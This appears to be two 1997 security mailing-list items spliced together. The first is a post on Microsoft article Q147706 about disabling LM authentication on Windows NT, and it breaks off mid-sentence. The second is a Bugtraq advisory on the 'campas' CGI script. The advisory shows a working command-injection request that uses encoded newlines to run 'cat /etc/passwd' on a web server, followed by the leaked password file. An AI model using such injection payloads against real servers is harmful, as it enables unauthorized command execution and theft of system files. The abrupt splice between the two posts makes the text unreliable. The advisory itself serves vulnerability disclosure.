new post SP3 hotfix: lm-fix

alexDAN.LV

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ftp.microsoft.com/bussys/winnt/winnt-public/fixes/usa/NT40/hotfixes-postSP3/lm-fix

DOCUMENT:Q147706
TITLE   :How to Disable LM Authentication on Windows NT
PRODUCT :Microsoft Windows NT, Windows 95, Windows for Workgroups 3.11 and LAN Manager 2.2c
PROD/VER:2.2 3.11 4.0 95
OPER/SYS:WINDOWS
KEYWORD :kberrmsg kbfile ntsecurity NTSrvWkst ntstop

--------------------------------------------------------------------------
The information in this article applies to:

 - Microsoft Windows NT Workstation version 4.0
 - Microsoft Windows NT Server version 4.0
 - Microsoft LAN Manager version 2.2c
 - Microsoft Windows for Workgroups version 3.11
 - Microsoft Windows 95
--------------------------------------------------------------------------

SUMMARY
=======

Windows NT supports the following two types of challenge/response
authentication:

 - LanManager (LM) challenge/response
 - Windows NT challenge/response

To allow access to servers that only support LM authentication, Windows NT
clients currently send both authentication types. Microsoft developed a
patch that supports a new registry From owner-bugtraqNETSPACE.ORG  Wed Jul 16 06:02:05 1997
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Message-ID: <Pine.LNX.3.96.970715180941.1257A-100000castor.javeriana.edu.co>
Date: 	Tue, 15 Jul 1997 18:24:31 -0500
Reply-To: Francisco Torres <ftorresCASTOR.JAVERIANA.EDU.CO>
Sender: Bugtraq List <BUGTRAQNETSPACE.ORG>
From: Francisco Torres <ftorresCASTOR.JAVERIANA.EDU.CO>
Subject:      Bug CGI campas
To: BUGTRAQNETSPACE.ORG
In-Reply-To:  <Pine.LNX.3.96.970715183741.21934G-100000typhaon.ucs.uwa.edu.au>

CAMPAS SECURITY BUG
-------------------
        ET Lownoise Colombia 1997

CGI:    campas
        #!/bin/sh
        #pragma ident "(#)campas.sh    1.2 95/05/24 NCSA"

Impact: Execute commands

Exploit:
> telnet www.xxxx.net 80
Trying 200.xx.xx.xx...
Connected to venus.xxxx.net
Escape character is '^]'.
GET /cgi-bin/campas?%0acat%0a/etc/passwd%0a
<PRE>
root:x:0:1:Super-User:/export/home/root:/sbin/sh
daemon:x:1:1::/:
bin:x:2:2::/usr/bin:
sys:x:3:3::/:
adm:x:4:4:Admin:/var/adm:
lp:x:71:8:Line Printer Admin:/usr/spool/lp:
smtp:x:0:0:Mail Daemon User:/:/bin/false
.... continue :P

Solution: 1-If u dont use it erase it.!
          2-Dont use it again.. (go point 1)

Well another line to put in vito.ini.

ET LOwnoise 1997 Colombia

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